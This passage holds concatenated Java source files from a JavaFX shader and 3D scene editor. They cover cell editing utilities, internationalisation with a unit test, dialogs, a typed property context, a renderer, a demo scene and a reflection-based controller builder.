string; } }; /****************************************************************************** * * Convenient Cell Methods * ******************************************************************************/ /** * Returns the string representation of the passed cell, * a string converter is used to transform a item to a string. * When no converter is specified objects will to convert to strings * by calling its {#link Object{@link #toString()}} method. * * @param cell the cell from which the string should be obtained. * @param converter a converter which is capable to convert a cell item to a string * @param <T> the item type which is stored by a cell * * @return the string representation of the passed cell */ public static <T> String getStringFromCell(Cell<T> cell, StringConverter<T> converter) { return converter == null ? Objects.toString(cell.getItem()) : converter.toString(cell.getItem()); } /****************************************************************************** * * Textfield Cell Support * ******************************************************************************/ public static <T> TextField createTextField(final Cell<T> cell, final StringConverter<T> converter) { final TextField textField = new TextField(getStringFromCell(cell, converter)); // Adapted from the original javafx.scene.control.cell.CellUtils class textField.setOnAction(event -> { if (converter == null) { throw new IllegalStateException( "Attempting to convert text input into Object, but provided " + "StringConverter is null. Be sure to set a StringConverter " + "in your cell factory."); } cell.commitEdit(converter.fromString(textField.getText())); event.consume(); }); textField.setOnKeyReleased(t -> { if (t.getCode() == KeyCode.ESCAPE) { cell.cancelEdit(); t.consume(); } }); return textField; } } ``` I18N.java ```package eu.yvka.shadersloth.share.I18N; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.text.MessageFormat; import java.util.ResourceBundle; public class I18N { private static final Logger Log = LoggerFactory.getLogger(I18N.class); /** * The base name of the default resource bundle */ private static final String SHADER_SLOTH_BUNDLE = "eu.yvka.shadersloth.app.I18N.shaderSloth"; /** * The current local resource bundle */ private static ResourceBundle resourceBundle; synchronized public static ResourceBundle getResourceBundle() { if (resourceBundle == null) { resourceBundle = ResourceBundle.getBundle(SHADER_SLOTH_BUNDLE); } return resourceBundle; } public static String getString(String key) { if (getResourceBundle().containsKey(key)) { return getResourceBundle().getString(key); } Log.error("Requested string with the key '{}' is missing in the resource bundle: '{}'", key, getResourceBundle().getBaseBundleName()); return "%" + key; } public static String getString(String key, Object... arguments) { final String pattern = getString(key); return MessageFormat.format(pattern, arguments); } } ``` I18NTest.java ```package eu.yvka.shadersloth.share.I18N; import org.junit.Test; import java.util.ResourceBundle; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.CoreMatchers.*; public class I18NTest { @Test public void testGetResourceBundle() throws Exception { ResourceBundle bundle = I18N.getResourceBundle(); assertThat(bundle, is(notNullValue())); } @Test public void testGetString() throws Exception { String appName = I18N.getString("app.title"); assertThat(appName, instanceOf(String.class)); } @Test public void testGetStringWithUnknownKey() throws Exception { String notKnownKey = "___NOT_KNOWN_KEY___"; assertThat( I18N.getString(notKnownKey), is(equalTo("%" + notKnownKey))); } } ``` FileAlreadyExistsDialog.java ```package eu.yvka.shadersloth.share.controls; import eu.yvka.shadersloth.share.I18N.I18N; import javafx.beans.NamedArg; import javafx.scene.control.Alert; import javafx.scene.control.ButtonType; import java.io.File; import java.text.MessageFormat; import java.util.Dictionary; import static eu.yvka.shadersloth.share.I18N.I18N.getString; /** * @author Yves Kaufmann * @since 26.07.2016 */ public class FileAlreadyExistsDialog extends Alert { public FileAlreadyExistsDialog(File file) { this(file.getAbsolutePath()); } public FileAlreadyExistsDialog(String file) { super(AlertType.CONFIRMATION); setTitle(getString("alreadyexists.dlg.title")); setContentText(getString("alreadyexists.dlg.content", file)); getButtonTypes().setAll(ButtonType.NO, ButtonType.YES); } } ``` VectorEditorController.java ```package eu.yvka.shadersloth.app.controls; import javafx.beans.property.FloatProperty; import javafx.fxml.FXML; import javafx.fxml.FXMLLoader; import javafx.fxml.Initializable; import javafx.scene.control.Label; import javafx.scene.control.TextField; import javafx.scene.control.TextFormatter; import javafx.scene.layout.Pane; import javafx.util.converter.NumberStringConverter; import eu.yvka.shadersloth.app.model.Vector3fModel; import java.io.IOException; import java.net.URL; import java.text.NumberFormat; import java.util.ResourceBundle; public class VectorEditorController implements Initializable { @FXML private TextField xTextField; @FXML private TextField yTextField; @FXML private TextField zTextField; @FXML private Label vectorLabel; private Vector3fModel model; @Override public void initialize(URL location, ResourceBundle resources) { model = new Vector3fModel(); NumberFormat format = NumberFormat.getInstance(); format.setMinimumFractionDigits(2); NumberStringConverter converter = new NumberStringConverter(format); setupNumberField(xTextField, converter, model.xProperty()); setupNumberField(yTextField, converter, model.yProperty()); setupNumberField(zTextField, converter, model.zProperty()); } private void setupNumberField(TextField textField, NumberStringConverter converter, FloatProperty floatProperty) { TextFormatter<Number> formatter = new TextFormatter<>(converter); formatter.valueProperty().addListener((observable, oldNumber, newNumber) -> { floatProperty.setValue(newNumber); }); formatter.valueProperty().bindBidirectional(floatProperty); textField.setTextFormatter(formatter); } public static Pane getView() { try { URL viewURL = VectorEditorController.class.getResource("../view/vectorEditorView.fxml"); FXMLLoader loader = new FXMLLoader(viewURL); loader.setController(new VectorEditorController()); return loader.load(); } catch (IOException e) { e.printStackTrace(); } return null; } } ``` AbstractContext.java ```package eu.yvka.shadersloth.share.context; import java.io.Serializable; import java.util.HashMap; import java.util.Map; public class AbstractContext implements Serializable { /** * Abstraction of a property in order to achieve type type safety. * @param <T> the type of the property value */ private static class PropertyValue<T> implements Serializable { @SuppressWarnings("unchecked") static final PropertyValue NULL = new PropertyValue(null); private final T value; PropertyValue(T value) { this.value = value; } @SuppressWarnings("unchecked") <ExpectedType> ExpectedType getTypeAware(Class<ExpectedType> expectedType) { if (expectedType.isPrimitive() || expectedType.isInstance(this.value)) return (ExpectedType) this.value; return null; } } /** * The Set of properties nothing special here. */ protected final Map<String, PropertyValue> properties = new HashMap<>(); /** * Creates an empty ImporterContext. */ public AbstractContext() { } /** * Retrieves the Boolean property by an id. * * @param id the id of the desired boolean property * * @return the boolean property or null if there is no such boolean property. */ public Boolean getBoolean(String id) { return getProperty(id, Boolean.class); } /** * <p>Defines a boolean property with a specific id.</p> * * @param id the id of the property. * @param bool the value of the property */ public void setBoolean(String id, Boolean bool) { setProperty(id, bool); } /** * Retrieves the byte property by an id. * * @param id the id of the desired byte property * * @return the byte property or null if there is no such byte property. */ public Byte getByte(String id) { return getProperty(id, Byte.class); } /** * <p>Defines a byte property with a specific id.</p> * * @param id the id of the property. * @param byteValue the value of the property */ public void setByte(String id, Byte byteValue) { setProperty(id, byteValue); } /** * Retrieves the short property by an id. * * @param id the id of the desired short property * * @return the short property or null if there is no such byte property. */ public Short getShort(String id) { return getProperty(id, Short.class); } /** * <p>Defines a short property with a specific id.</p> * * @param id the id of the property. * @param shortValue the value of the property */ public void setShort(String id, Short shortValue) { setProperty(id, shortValue); } /** * Retrieves the integer property by an id. * * @param id the id of the desired integer property * * @return the integer property or null if there is no such integer property. */ public Integer getInteger(String id) { return getProperty(id, Integer.class); } /** * <p>Defines a integer property with a specific id.</p> * * @param id the id of the property. * @param integerValue the value of the property */ public void setInteger(String id, Integer integerValue) { setProperty(id, integerValue); } /** * Retrieves the long property by an id. * * @param id the id of the desired long property * * @return the long property or null if there is no such long property. */ public Long getLong(String id) { return getProperty(id, Long.class); } /** * <p>Defines a long property with a specific id.</p> * * @param id the id of the property. * @param longValue the value of the property */ public void setLong(String id, Long longValue) { setProperty(id, longValue); } /** * Retrieves the string property by an id. * * @param id the id of the desired string property * * @return the string property or null if there is no such string property. */ public String getString(String id) { return getProperty(id, String.class); } /** * <p>Defines a string property with a specific id.</p> * * @param id the id of the property. * @param string the value of the property */ public void setString(String id, String string) { setProperty(id, string); } /** * <p>Defines a property with a specific id.</p> * * @param id the id of the property. * @param value the value of the property * @param <T> the type of the property. */ @SuppressWarnings("unchecked") public <T> void setProperty(String id, T value) { this.properties.put(id, new PropertyValue(value)); } /** * <p>Retrieves a property by it's id.</p> * * <p>In order to achieve type safety a caller must provide * the type of the desired property.</p> * * @param id the id of the desired property. * @param type the expected type of the desired property. * @param <T> the expected type of the desired property * * @return the desired property or null if there is no such a property with the specified id. */ public <T> T getProperty(String id, Class<T> type) { PropertyValue property = properties.getOrDefault(id, PropertyValue.NULL); return type.cast(property.getTypeAware(type)); } /** * Checks if there is a property with a specified id and a specific type. * * @param id the id of the property. * @param type the expected type of the property * * @return true the requested property exists. */ public boolean hasProperty(String id, Class type) { return getProperty(id, type) != null; } } ``` ShaderSlothRenderer.java ```package eu.yvka.shadersloth.app.renderView; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.engine.EngineApp; import eu.yvka.slothengine.geometry.primitives.Cube; import eu.yvka.slothengine.geometry.primitives.Sphere; import eu.yvka.slothengine.input.InputListener; import eu.yvka.slothengine.input.event.KeyEvent; import eu.yvka.slothengine.input.event.MouseEvent; import eu.yvka.slothengine.material.BasicMaterial; import eu.yvka.slothengine.material.Pass; import eu.yvka.slothengine.math.Color; import eu.yvka.slothengine.renderer.FPSCounter; import eu.yvka.slothengine.renderer.RenderState; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Node; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.scene.camera.FreeCamera; import eu.yvka.slothengine.scene.light.PointLight; import javafx.geometry.Pos; import org.joml.Vector2f; import org.joml.Vector3f; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.function.Consumer; import static eu.yvka.slothengine.renderer.RenderState.CullFaceMode; public class ShaderSlothRenderer extends EngineApp implements InputListener { private float zoomLevel; private Consumer<Scene> onStartedCallback; private Scene activeScene; private Vector2f mousePos; public void setOnStartedCallback(Consumer<Scene> onStartedCallback) { this.onStartedCallback = onStartedCallback; } @Override protected void prepare() { zoomLevel = 0.5f; inputManager.addListener(this); } @Override public void update(float elapsedTime) { zoomLevel -= 30.0 * elapsedTime * inputManager.getMouseWheelAmount(); scene.update(elapsedTime); } @Override protected void cleanUp() { } @Override public void onMouseEvent(MouseEvent event) { mousePos = new Vector2f((float) event.getX(), (float) event.getY()); } @Override public void onKeyEvent(KeyEvent keyEvent) { final RenderState state = rendererManager.getRenderState(); final Node rootNode = scene.getRootNode(); if (keyEvent.isPressed()) { switch (keyEvent.getKeyButton()) { case A: zoomLevel += 0.1; break; case Q: zoomLevel -= 0.1; break; case Up: rootNode.getPosition().add(0.0f, 0.2f, 0.0f); break; case Left: rootNode.getPosition().add(-0.2f, 0.0f, 0.0f); break; case Right: rootNode.getPosition().add(0.2f, 0.0f, 0.0f); break; case Down: rootNode.getPosition().add(0.0f, -0.2f, 0.0f); break; } } } public void setActiveScene(Scene activeScene) { Engine.runWhenReady(() -> { rendererManager.setScene(activeScene); this.scene = activeScene; }); } } ``` PropertyEditors.java ```package eu.yvka.shadersloth.app.sceneEditor; import eu.yvka.slothengine.math.Color; import javafx.beans.property.SimpleObjectProperty; import javafx.beans.value.ChangeListener; import javafx.beans.value.ObservableValue; import javafx.scene.control.ColorPicker; import org.controlsfx.control.PropertySheet; import org.controlsfx.property.editor.AbstractPropertyEditor; import org.controlsfx.property.editor.PropertyEditor; /** * PropertyEditors contains a set of property editors * for shader-sloth related types. * * @author Yves Kaufmann */ public class PropertyEditors { /** * Creates a property editor for shader-sloth's * color type. * * @param item the item which should be edit * @return a instance of color property editor */ public static PropertyEditor<Color> createColorEditor(PropertySheet.Item item) { final ColorPicker colorPicker = new ColorPicker(); // holds the current selected color this property is required in // order to convert between a javafx color type and a sloth engine color type. final SimpleObjectProperty<Color> colorProperty = new SimpleObjectProperty<Color>(); // set the initial color from the current material if (item.getValue() instanceof Color) { colorPicker.setValue(createFXColorFromSLColor((Color) item.getValue())); colorProperty.setValue((Color) item.getValue()); } // ensure that the colorProperty is updated if the user make any changes colorPicker.valueProperty().addListener((observable, oldValue, newValue) -> { Color newColor = Color.White; if (newValue != null) { newColor = createColorFrom(newValue); } colorProperty.set(newColor); }); return new AbstractPropertyEditor<Color, ColorPicker>(item, colorPicker) { @Override public void setValue(Color color) { getEditor().setValue(createFXColorFromSLColor(color)); } @Override protected ObservableValue<Color> getObservableValue() { return colorProperty; } }; } private static javafx.scene.paint.Color createFXColorFromSLColor(Color color) { return javafx.scene.paint.Color.color( color.getRed(), color.getBlue(), color.getBlue() ); } private static Color createColorFrom(javafx.scene.paint.Color value) { return Color.fromRGB(value.getRed(), value.getGreen(), value.getBlue()); } } ``` Context.java ```package eu.yvka.shadersloth.share.context; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** * A FXMLViewContext field annotated with this annotations will be provided * with FXMLViewContext Instance. */ @Target(ElementType.FIELD) @Retention(RetentionPolicy.RUNTIME) public @interface Context { } ``` Action.java ```package eu.yvka.shadersloth.share.actions.annotations; import eu.yvka.shadersloth.share.controls.FontAwesomeIcon; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) public @interface Action { /** * Identifier of a action which allows it to reference * a action from outside a constructor. * * @return action identifier. */ String id() default ""; /** * @return the text description of this * action. */ String text() default ""; /** * @return the tooltip for this action. */ String tooltip() default ""; /* * The priority specifies in which order actions are rendered. * A low priority means that the action will be rendered after all * actions with a higher priority. */ int priority() default 0; /** * The Font icon which should be used by this action. * * @return */ FontAwesomeIcon fontIcon() default FontAwesomeIcon.NONE; } ``` OperatingSystem.java ```package eu.yvka.shadersloth.share.utils; /** * Helper class for detecting the current operating * system. * * @Author Yves Kaufmann * @since 15.07.2016 */ public enum OperatingSystem { WINDOWS, OSX, UNIX, UNKNOWN; static { CURRENT = detectOS(); } public static final OperatingSystem CURRENT; /** * Detects the current Operation System * * @return the current operating system. */ private static OperatingSystem detectOS() { String os = System.getProperty("os.name").toLowerCase(); if (os.startsWith("win")) return OperatingSystem.WINDOWS; if (os.startsWith("mac")) return OperatingSystem.OSX; if (os.startsWith("unix") || os.startsWith("linux") || os.indexOf("aix") > 0) return OperatingSystem.UNIX; return OperatingSystem.UNKNOWN; } /** * Determines if the current os is windows. * * @return if the current os is windows based */ public static boolean isWindows() { return CURRENT == OperatingSystem.WINDOWS; } /** * Determines if the current os is mac os. * * @return if the current os is mac os */ public static boolean isOSX() { return CURRENT == OperatingSystem.OSX; } /** * Determines if the current os is unix based. * * @return if the current os is unix */ public static boolean isUnix() { return CURRENT == OperatingSystem.UNIX; } } ``` HyperLinkTableCell.java ```package eu.yvka.shadersloth.app.controls.cell; import eu.yvka.shadersloth.share.context.ApplicationContext; import javafx.beans.property.ObjectProperty; import javafx.beans.property.SimpleObjectProperty; import javafx.scene.control.Hyperlink; import javafx.scene.control.TableCell; import javafx.scene.control.TableColumn; import javafx.scene.control.TextField; import javafx.util.Callback; import javafx.util.StringConverter; import javafx.util.converter.DefaultStringConverter; /** * A class containing a {@link TableCell} implementation that draws a * {@link Hyperlink} node inside the cell. * * <p>By default, the TextFieldTableCell is rendered as a {@link Hyperlink} when not * being edited, and as a TextField when in editing mode. The TextField will, by * default, stretch to fill the entire table cell. * * @param <T> The type of the elements contained within the TableColumn. * @since 11.07.2016 * @Author Yves Kaufmann */ public class HyperLinkTableCell<S, T> extends TableCell<S, T> { /*************************************************************************** * * * Static cell factories * * * **************************************************************************/ public static <S> Callback<TableColumn<S,String>, TableCell<S,String>> forTableColumn() { return forTableColumn(new DefaultStringConverter()); } public static <S,T> Callback<TableColumn<S,T>, TableCell<S,T>> forTableColumn( final StringConverter<T> converter) { return list -> new HyperLinkTableCell<S,T>(converter); } /*************************************************************************** * * * Fields * * * **************************************************************************/ private TextField textField; private Hyperlink hyperlink; /*************************************************************************** * * * Constructors * * * **************************************************************************/ /** * Creates a default TextFieldTableCell with a null converter. Without a * {@link StringConverter} specified, this cell will not be able to accept * input from the TextField (as it will not know how to convert this back * to the domain object). It is therefore strongly encouraged to not use * this constructor unless you intend to set the converter separately. */ public HyperLinkTableCell() { this(null); } /** * Creates a TextFieldTableCell that provides a {@link TextField} when put * into editing mode that allows editing of the cell content. This method * will work on any TableColumn instance, regardless of its generic type. * However, to enable this, a {@link StringConverter} must be provided that * will convert the given String (from what the user typed in) into an * instance of type T. This item will then be passed along to the * {@link TableColumn#onEditCommitProperty()} callback. * * @param converter A {@link StringConverter converter} that can convert * the given String (from what the user typed in) into an instance of * type T. */ public HyperLinkTableCell(StringConverter<T> converter) { this.getStyleClass().add("text-field-table-cell"); setConverter(converter); hyperlink = new Hyperlink(); hyperlink.setOnAction((e) -> { // Maybe there is a standard way to obtain the current application object ApplicationContext.get().getApplication().getHostServices().showDocument(hyperlink.getText()); }); } /*************************************************************************** * * * Properties * * * **************************************************************************/ // --- converter private ObjectProperty<StringConverter<T>> converter = new SimpleObjectProperty<StringConverter<T>>(this, "converter"); /** * The {@link StringConverter} property. */ public final ObjectProperty<StringConverter<T>> converterProperty() { return converter; } /** * Sets the {@link StringConverter} to be used in this cell. */ public final void setConverter(StringConverter<T> value) { converterProperty().set(value); } /** * Returns the {@link StringConverter} used in this cell. */ public final StringConverter<T> getConverter() { return converterProperty().get(); } /*************************************************************************** * * * Public API * * * **************************************************************************/ /** {@inheritDoc} */ @Override public void startEdit() { if (! isEditable() || ! getTableView().isEditable() || ! getTableColumn().isEditable()) { return; } super.startEdit(); if (isEditing()) { if (textField == null) { textField = CellUtils.createTextField(this, getConverter()); } textField.setText(CellUtils.getStringFromCell(this, getConverter())); setGraphic(textField); setText(null); textField.selectAll(); textField.requestFocus(); } } /** {@inheritDoc} */ @Override public void cancelEdit() { super.cancelEdit(); hyperlink.setText(CellUtils.getStringFromCell(this, getConverter())); setGraphic(hyperlink); } /** {@inheritDoc} */ @Override public void updateItem(T item, boolean empty) { super.updateItem(item, empty); if (empty || item == null) { setGraphic(null); setText(null); } else { if (isEditing()) { setText(null); textField.setText(CellUtils.getStringFromCell(this, getConverter())); setGraphic(textField); } else { hyperlink.setText(CellUtils.getStringFromCell(this, getConverter())); setGraphic(hyperlink); setText(null); } } } } ``` ActionCallback.java ```package eu.yvka.shadersloth.share.actions; /** * A Callback which can be assigned to action * in order to specify the action which should * be performed when a action is activated. */ @FunctionalInterface public interface ActionCallback { /** * Invoke the underlying callback and * execute the action. */ void invoke(ActionEntry actionEntry); } ``` ApplicationContext.java ```package eu.yvka.shadersloth.share.context; import com.google.inject.Module; import javafx.application.Application; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Collection; import java.util.Objects; import java.util.function.Supplier; public class ApplicationContext extends AbstractContext { /****************************************************************************** * * Static Stuff * ******************************************************************************/ private static final Logger Log = LoggerFactory.getLogger(ApplicationContext.class); /*** * Field of the injector */ public static final String APPLICATION_FIELD = "applicationFX"; /*** * The context which is shared with the whole application */ private static ApplicationContext INSTANCE; /** * Provides access to our application context. * * @return the application context instance. */ synchronized public static ApplicationContext get() { if (INSTANCE == null) { INSTANCE = new ApplicationContext(); } return INSTANCE; } /****************************************************************************** * * Fields * ******************************************************************************/ private Application application; private DIContext diContext = null; private boolean isDisposed = true; /****************************************************************************** * * Constructors * ******************************************************************************/ private ApplicationContext() { super(); } /****************************************************************************** * * Public Api * ******************************************************************************/ synchronized public void init(Application application, Supplier<Collection<Module>> moduleSupplier) { if (isDisposed) { Log.info("Initializing " + getClass().getSimpleName()); this.application = application; this.diContext = new GuiceInjectorContext(application, Objects.requireNonNull(moduleSupplier)); this.diContext.init(); isDisposed = false; Log.info("Initialized " + getClass().getSimpleName()); } else { Log.warn(getClass().getSimpleName() + " is already initialized"); } } synchronized public void destroy() { if (! isDisposed) { Log.info("Destroying " + getClass().getSimpleName()); diContext.destroy(); properties.clear(); isDisposed = true; Log.info("Destroyed " + getClass().getSimpleName()); } } /** * Provides access to dependency injector * context, enables callers to get instances * without using annotations. * * @return the current injector context. */ public DIContext getInjector() { ensureContextCreated(); return diContext; } /** * Get the application to which this context belongs. * * @return the application object. */ public Application getApplication() { ensureContextCreated(); return application; } synchronized private void ensureContextCreated() { if (isDisposed) { throw new IllegalStateException("Application context wasn't initialized by calling init"); } } } ``` DummyProject.java ```package eu.yvka.shadersloth.app.project; import eu.yvka.shadersloth.app.materialEditor.shaders.ShaderTemplateHelper; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.geometry.primitives.Cube; import eu.yvka.slothengine.geometry.primitives.Sphere; import eu.yvka.slothengine.material.BasicMaterial; import eu.yvka.slothengine.material.Pass; import eu.yvka.slothengine.math.Color; import eu.yvka.slothengine.renderer.RenderState; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.scene.camera.FreeCamera; import eu.yvka.slothengine.scene.light.PointLight; import eu.yvka.slothengine.shader.Shader; import eu.yvka.slothengine.utils.NameAlreadyInUseException; import org.joml.Vector3f; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.function.Consumer; /** * @author Yves Kaufmann * @since 17.07.2016 */ public class DummyProject extends ProjectImpl { private BasicMaterial material; public DummyProject() { super(); setName("dummy"); List<Geometry> boxes = new ArrayList<>(); final Scene scene = getScene(); Random rnd = new Random(); rnd.setSeed(System.nanoTime()); Shader dummyShader = ShaderTemplateHelper.createShader(getProjectFolder(), "Phong", true); BasicMaterial mat = new BasicMaterial(dummyShader); mat.getRenderState().setFrontFaceWinding(RenderState.FaceWinding.GL_CCW); mat.getRenderState().setCullFaceMode(RenderState.CullFaceMode.Back); // mat.setParameter("sl_material.diffuse", Color.White); // mat.setParameter("sl_material.ambient", Color.White); // mat.setShininess(20.0f); getMaterials().add(mat); Pass pass = mat.createPass(); pass.getRenderState().setWireframe(true); pass.getRenderState().setBlendMode(RenderState.BlendFunc.Alpha); pass.setParameter("sl_material.diffuse", Color.White); pass.setEnableLightning(false); Geometry room = new Geometry("Room"); room.setPosition(new Vector3f(0.0f, 0.0f, 0.0f)); room.setScale(10.0f); room.setVisible(true); room.setMesh(new Cube()); room.setMaterial(mat); scene.getRootNode().addChild(room); scene.getCamera().setPosition(0f, 5f, 10f); ((FreeCamera)scene.getCamera()).setTarget(new Vector3f(10.0f, 2.0f, -10.0f)); float radius = 2.0f; int boxCount = 5; float PI2 = (float) (Math.PI * 2); float R = (1.0f / boxCount); for (int i = 0; i <= boxCount; i++) { Geometry box = new Geometry("Box " + i); box.setMaterial(mat); box.setScale(1.0f); box.setMesh(new Sphere(1, 20, 20)); box.setMesh(Engine.getMeshFromAssets("Rabbit.obj")); box.setPosition((float) (Math.cos(R * i * PI2) * radius), 0, (float) (Math.sin(R * i * PI2) * radius)); boxes.add(box); room.addChild(box); } Geometry g = new Geometry("g"); g.setMesh(new Cube()); g.setPosition(-9.0f, 0.0f, 0.0f); g.setMaterial(mat); room.addChild(g); PointLight point = new PointLight("Light 1"); point.setAttenuation(1.0f); point.setPosition(new Vector3f(0.0f, 5.0f, -2.0f)); point.setColor(new Color(1.0f, 0.0f, 0.0f, 1.0f)); point.setAttenuation(100.0f); getScene().add(point); PointLight point2 = new PointLight("Light 2"); point2.setAttenuation(1.0f); point2.setPosition(new Vector3f(0.0f, 0.0f, 0.0f)); point2.setColor(new Color(1.0f, 1.0f, 1.0f, 1.0f)); point2.setAttenuation(20.0f); getScene().add(point2); } } ``` FontIcon.java ```package eu.yvka.shadersloth.share.controls; import eu.yvka.shadersloth.share.controls.FontAwesomeIcon; import eu.yvka.shadersloth.share.controls.FontBasedIcon; import javafx.beans.property.ObjectProperty; import javafx.beans.property.SimpleObjectProperty; import javafx.scene.control.Label; public class FontIcon extends Label { /****************************************************************************** * * Constructors * ******************************************************************************/ public FontIcon() { super(); initialize(); } public FontIcon(FontBasedIcon icon) { super(icon.getText()); initialize(); } public FontIcon(String icon) { super(icon); initialize(); } /****************************************************************************** * * Properties * ******************************************************************************/ private ObjectProperty<FontAwesomeIcon> icon; public ObjectProperty<FontAwesomeIcon> iconProperty() { if (icon == null) { icon = new SimpleObjectProperty<FontAwesomeIcon>(this, "icon", null) { @Override protected void invalidated() { super.invalidated(); setText(iconProperty().getValue().getText()); } }; } return icon; } public FontAwesomeIcon getIcon() { return icon == null ? null : icon.get(); } public void setIcon(FontAwesomeIcon icon) { iconProperty().setValue(icon); } /****************************************************************************** * * Methods * ******************************************************************************/ private void initialize() { getStyleClass().add(DEFAULT_STYLE_CLASS); } /****************************************************************************** * * Styling * ******************************************************************************/ public static final String DEFAULT_STYLE_CLASS = "icon-label"; } ``` ControllerBuilder.java ```package eu.yvka.shadersloth.share.controller; import eu.yvka.shadersloth.share.I18N.I18N; import eu.yvka.shadersloth.share.context.ApplicationContext; import eu.yvka.shadersloth.share.context.ViewContext; import eu.yvka.shadersloth.share.controls.FontIcon; import eu.yvka.shadersloth.share.utils.ReflectionUtils; import eu.yvka.shadersloth.share.actions.ActionEntry; import eu.yvka.shadersloth.share.actions.annotations.Action; import eu.yvka.shadersloth.share.controller.annotations.Controller; import eu.yvka.shadersloth.share.controller.annotations.FXMLViewContext; import javafx.application.Platform; import javafx.fxml.FXML; import javafx.fxml.FXMLLoader; import javafx.scene.Node; import javafx.scene.Parent; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.charset.Charset; import java.util.List; import java.util.Map; import java.util.WeakHashMap; /** * Builder class for creating Controller instances.a */ public class ControllerBuilder { private static final Logger Log = LoggerFactory.getLogger(ControllerBuilder.class); /****************************************************************************** * * Fields * ******************************************************************************/ private static ControllerBuilder INSTANCE; private Map<Class<? extends AbstractController>, ViewContext> controllerContexts; /****************************************************************************** * * Constructors * ************************************************************************F******/ private ControllerBuilder() { controllerContexts = new WeakHashMap<>(); } public synchronized static ControllerBuilder getInstance() { if (INSTANCE == null) { INSTANCE = new ControllerBuilder(); } return INSTANCE; } /****************************************************************************** * * Builder methods * ******************************************************************************/ public <T extends AbstractController> ViewContext<T> createBy(Class<T> controllerClass) throws ControllerLoaderException { try { return createBy(controllerClass.newInstance(), controllerClass); } catch (InstantiationException | IllegalAccessException e) { throw new ControllerLoaderException("Could not create controller: " + controllerClass.getSimpleName(), e); } } public <T extends AbstractController> ViewContext<T> createBy(T controller, Class<T> controllerClass) throws ControllerLoaderException { // Load meta data ControllerMeta meta = new ControllerMeta(); Controller controllerAnnotation = controllerClass.getAnnotation(Controller.class); if (controllerAnnotation != null) { if (! controllerAnnotation.title().isEmpty()) { String title = I18N.getString(controllerAnnotation.title()); meta.setTitle(title); } if (! controllerAnnotation.icon().isEmpty()) { meta.setGraphicNode(new FontIcon(controllerAnnotation.icon())); } } // Load all actions loadMethodMetaData(controllerClass, controller, meta); // Create loader and controller instance Parent rootView = null; try { FXMLLoader loader = createLoader(controller); rootView = loader.load(); } catch(IOException ex) { throw new ControllerLoaderException("Failed to load fxml:" + controller.getLocation().toString(), ex); } catch(IllegalStateException ex) { throw new ControllerLoaderException( controller.getClass().getSimpleName() + " don't provide a valid FXML location", ex ); } ViewContext<T> ctx = new ViewContext<>(controller, rootView, meta); ctx.setProperty(ViewContext.PROPERTY_CONTROLLER, controller); try { injectDependencies(controllerClass, ctx); } catch (Exception ex) { throw new ControllerLoaderException("Failed to inject dependencies for " + controller.getClass().getSimpleName(), ex); } return ctx; } private <T extends AbstractController> void injectFieldValue(Field field, ViewContext<T> ctx) { Class<?> requiredFieldClass = ctx.getClass(); Class<?> fieldType = field.getType(); if (fieldType.equals(requiredFieldClass) || requiredFieldClass.isAssignableFrom(fieldType)) { ReflectionUtils.setFieldValue(field, ctx.getController() ,ctx); } } public <T extends AbstractController> FXMLLoader createLoader(T controller) { FXMLLoader loader = new FXMLLoader(); loader.setLocation(controller.getLocation()); loader.setResources(controller.getResourceBundle()); loader.setCharset(Charset.forName("UTF-8")); loader.setController(controller); loader.setControllerFactory((cls) -> { try { // Fall back implementation if no controller instance is provided Object instance = cls.newInstance(); ApplicationContext.get().getInjector().injectMembers(instance); return instance; } catch (InstantiationException | IllegalAccessException ex) { throw new IllegalStateException("Cannot instantiate controller: " + controller , ex); } }); return loader; } public <T extends AbstractController> void injectDependencies(Class<T> controllerClass, ViewContext<T> ctx) { for(Field field : ReflectionUtils.getAllFields(controllerClass)) { FXMLViewContext contextAnnotation = field.getAnnotation(FXMLViewContext.class); if (contextAnnotation != null) { injectFieldValue(field, ctx); } } ApplicationContext.get().getInjector().injectMembers(ctx.getController()); injectIncludedFXMLFields(controllerClass, ctx); } /** * Because of some restrictions in the FXMLLoader not all fields that are annotated with @FXML will be injected * such as fields that are included by fx:include. */ public <T extends AbstractController> void injectIncludedFXMLFields(Class<T> controllerClass, ViewContext<T> ctx) { T controller = ctx.getController(); Node root = ctx.getRootNode(); injectIncludedFXMLFields(controllerClass, controller, root); } public void injectIncludedFXMLFields(Object controller, Node root) { injectIncludedFXMLFields(controller.getClass(), controller, root); } private void injectIncludedFXMLFields(Class<?> controllerClass, Object controller, Node root) { for (Field field : ReflectionUtils.getAllFields(controllerClass)) { if (! field.isAnnotationPresent(FXML.class)) continue; Object fieldValue = ReflectionUtils.getFieldValue(field, controller); // inject only fields that are not already set by the fxml loader if (fieldValue == null) { String fieldName = field.getName(); Node nodeToInject = root.lookup("#" + fieldName); if ( nodeToInject != null && field.getType().isAssignableFrom(nodeToInject.getClass())) { ReflectionUtils.setFieldValue(field, controller, nodeToInject); } } } } public <T extends AbstractController> void loadMethodMetaData(Class<T> controllerClass, T controller, ControllerMeta meta) { List<Method> actionMethods = ReflectionUtils.getMethodsWithAnnotation(controllerClass, Action.class); for (Method method : actionMethods) { Action action = method.getAnnotation(Action.class); final ActionEntry actionEntry = new ActionEntry(); actionEntry.setTooltip(action.tooltip()); actionEntry.setText(action.text()); actionEntry.setIcon(action.fontIcon()); actionEntry.setOnAction((calledAction) -> { try { Platform.runLater(() -> ReflectionUtils.invokeMethod(controller, method)); } catch (Exception ex) { Log.error("Failed to invoke the controller action {}{}.", controllerClass.getName(), method.getName()); throw new IllegalStateException("Could not invoke action method " + method, ex); } }); 